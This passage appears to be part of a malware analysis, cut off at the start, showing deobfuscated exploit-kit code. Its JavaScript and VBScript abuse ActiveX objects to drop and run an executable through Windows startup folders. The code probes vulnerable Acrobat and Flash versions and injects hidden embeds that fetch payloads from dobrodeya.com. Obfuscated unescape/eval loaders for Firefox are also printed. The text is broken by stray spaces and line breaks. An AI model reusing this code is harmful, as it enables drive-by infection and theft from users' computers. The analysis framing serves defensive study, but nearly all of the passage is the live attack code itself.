D4A210617116','0006F033'+f,'0006F03A'+f,'6e32070a - 766d - 4ee6 - 879c -

dc1fa9 1d2fc3','6414512B - B978- 451D- A0D8- FCFDF33E833C','7F5B7F63 - F06F- 4331 - 8A26-

339E03C0AE3D','06723E09 - F4C2- 43c8 - 8358 - 09FCD1DB0766','639F725F - 1B2D- 4831 - A9FD-

874847682010','BA018599 - 1DB3- 44f9 - 83B4- 461454C84BF8','D0C07D56 - 7C69- 43F1- B4A0-

25F5A11FAB19','E8CCCDDF - CA28- 496b - B050-

6C07C962476B',a);v1=a;v2=a;v3=a;v4=a;d1=a;d2=a;i=0;r=0;while(t[i]&&(!v1||!v2||!v3||!v4

)){try{a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i]);}cat

ch(e){a=d1;}if(a){v1=f1(v1,a,"ADODB.Stream");v2=f1(v2,a," WScript.Shell "); v4=f1(v4,a," S

cripting.FileSystemObject ");v3=f1(v3,a,"Shell.Application");}i++;}if((v1||v4)){var 

d=b6(ttt());s='c:';m=0;b="Program";g=" \ \ Uninstall.exe";h=" \ \ Autostart"+g;j="Start 

Menu\ \ "+b;q="Startup";if(v2)try{f=v2.Environment("PROCESS");s=f('HOMEDRIVE');m =f("TEMP

");if(!m)m=f("TMP")}catch(e){s='c:';m=0}k=" \ \ All Users \ \ ";c=s+" \ \ Documents and 

Settings"+k;n="Start";p="Menu ";x="Iniciar"; d1=new Array(c+"Menu 

Inicio \ \ "+b+"as \ \ Inicio"+g,c+"Menuen 

Start \ \ "+b+"mer \ \ "+n+g,c+p+n+" \ \ "+b+"ma's \ \ Opstarten"+g,c+p+n+" \ \ "+ b+"y"+h,c+j+"lar \ \ B

ASLANGIC"+g,c+p+"Avvio \ \ "+b+"mi \ \ Esecuzione automatica"+g,c+n+" -

meny\ \ "+b+"mer \ \ Oppstart"+g,c+n+" - menyn\ \ "+b+h,s+" \ \ Dokumente und 

Einstellungen"+k+n+"menu \ \ "+b+"me"+h,c+p+x+" \ \ "+b+"as \ \ "+x+g,c+j+"s \ \ "+q+g);n="iexplor

e.exe";k=".. \ \ ";h=k+k ;p=" \ \ "+n;if(v2){f4(d1,v2.SpecialFolders(q)+g);f4(d1,v2.SpecialFo

lders("AllUsers"+q)+g)}d2=new 

Array(s+" \ \ RECYCLER"+p,h+h+n,k+h+n,h+n,k+n,n,s+p);n=1;if(m)f4(d2,m+p);if(v4)f4(d2,v4.G

etSpecialFolder(2)+p);f=f2(v1,v4,d2,d);if(!f){f=f2(v1,v4,d1,d);n=0;}if(f){i f(v3)try{r=

1;v3.ShellExecute(f)}catch(e){r=0}if(!r&&v2)try{r=1;v2.Run(f,1);}catch(e){try{v2.Exec(

f)}catch(e){r=0}}if(r)document.write("<script src=http://dobrodeya.com/cgi -

bin/Archiv.php?s=dtUlLo9&id=9>< \ /script>");else{if(n)f=f2(v1,v4,d1,d);document.write ("

<object classid='clsid:527196a4 - b1a3 - 4647 - 931d - 37ba5af23037' 

codebase='"+f+"'></object>");}}}}catch(e){}return r;}f3();var d3po=null;try{d3po=new 

ActiveXObject ("AcroPDF.PDF");}catch(e){}if(!d3po){try{d3po=new 

ActiveXObject("PDF.PdfCtrl");}catch(e){}}if(d 3po){lv=((d3po.GetVersions().split(","))[

4].split("="))[1].replace(/ \ ./g,"");if((lv<900)&&(lv!=813))document.write('<embed 

src="http://dobrodeya.com/cgi - bin/Archiv.php?s=dtUlLo9&id=2" width=100 height=100 

type="application/pdf"></embed>');}try{var d3po=0;d 3po=(new 

ActiveXObject("ShockwaveFlash.ShockwaveFlash.9")).GetVariable("$"+"version").split(","

);}catch(e){}if(d3po&&(d3po[2]<124))document.write('<object classid="clsid:d27cdb6e -

ae6d - 11cf - 96b8 - 444553540000" width=100 height=100 align=middle><param name="m ovie" 



value="http://dobrodeya.com/cgi - bin/Archiv.php?s=dtUlLo9&id=3"/><param name="quality" 

value="high"/><param name="bgcolor" value="#ffffff"/><embed 

src="http://dobrodeya.com/cgi -

bin/Archiv.php?s=dtUlLo9&id=3"/></embed></object>');document.write("</div> ");  

 

<div style="position:absolute; left: - 1000px; top: - 1000px;"><script 

language=VBScript>Sub s1(e,fn,dt):On Error Resume Next:s1=0:Set 

k=e.CreateTextFile(fn,TRUE):if Err>0 then:Exit Function:End if:b="":For j=1 To 

LenB(dt):b=b&ChrW(Asc(Mid(dt,j,1))):Next: k.Write(b):k.Close:if Err>0 then:Exit 

Function:End if:s1=1:End Sub</script></div>  

 

Malware Analysis Firefox  

First Round  

 

//<script>  

f3w=24;if(unescape)f3w='';awlS=unescape('%'+f3w);  

iYb='docg75ment.writV65(B22X3cdiV76g20styB6cB65g3dg5cV22z70ositiong3aabsol uX74ez3bB20V

6cV65V66tX3az2d1000pg78g3b 

topX3aV2d1V3000pxg3bX5cB22X3eB22)X3bdocumenX74.writeB28B27z3cg65mbz65d wB69dthX3d100 

heig67htz3dX310B30 

srX63V3dg22httpX3az2fV2fz64obB72odeya.coV6dg2fcg67B69V2dg62iV6ez2fArcg68iv.V70hpB3fsz3

dPxFkMz6bB70g26idV3d2g22 

ty pez3dV22B61pB70licB61g74ionB2fpdfz22B3eg3cB2fez6dB62edV3eX27)z3bdV6fcument.write(V27

B3cB65mV62eB64 g77idthX3d10V30X20heX69X67z68tB3d100 

srcg3dX22V68X74tpg3aV2fX2fdB6fbrodeya.z63B6fmB2fcz67iz2dX62iz6eV2fArz63hz69v.V70g68pB3

fsB3dPxFkMkpg26iB64V3d3B22X3eg3cB2 femz62ez64z3ez27)B3bX64ocuX6denz74.wB72ig74e(g22V3cV

2fdiV76X3eg22)X3b';  

eval(unescape(iYb.replace(/[VzgXB]/g,awlS)));  

 

//</script>  

 

Second Round 

 

document.write("<div style= \ "position:absolute; left: - 1000px; top: -

1000px; \ ">");document.write('<embed width=1 00 height=100 

src="http://dobrodeya.com/cgi - bin/Archiv.php?s=BalCBvis&id=2" 

type="application/pdf"></embed>');document.write('<embed width=100 height=100 

src="http://dobrodeya.com/cgi -

bin/Archiv.php?s=BalCBvis&id=3"></embed>');document.write("</div>");  

 

 

 

 

 

 


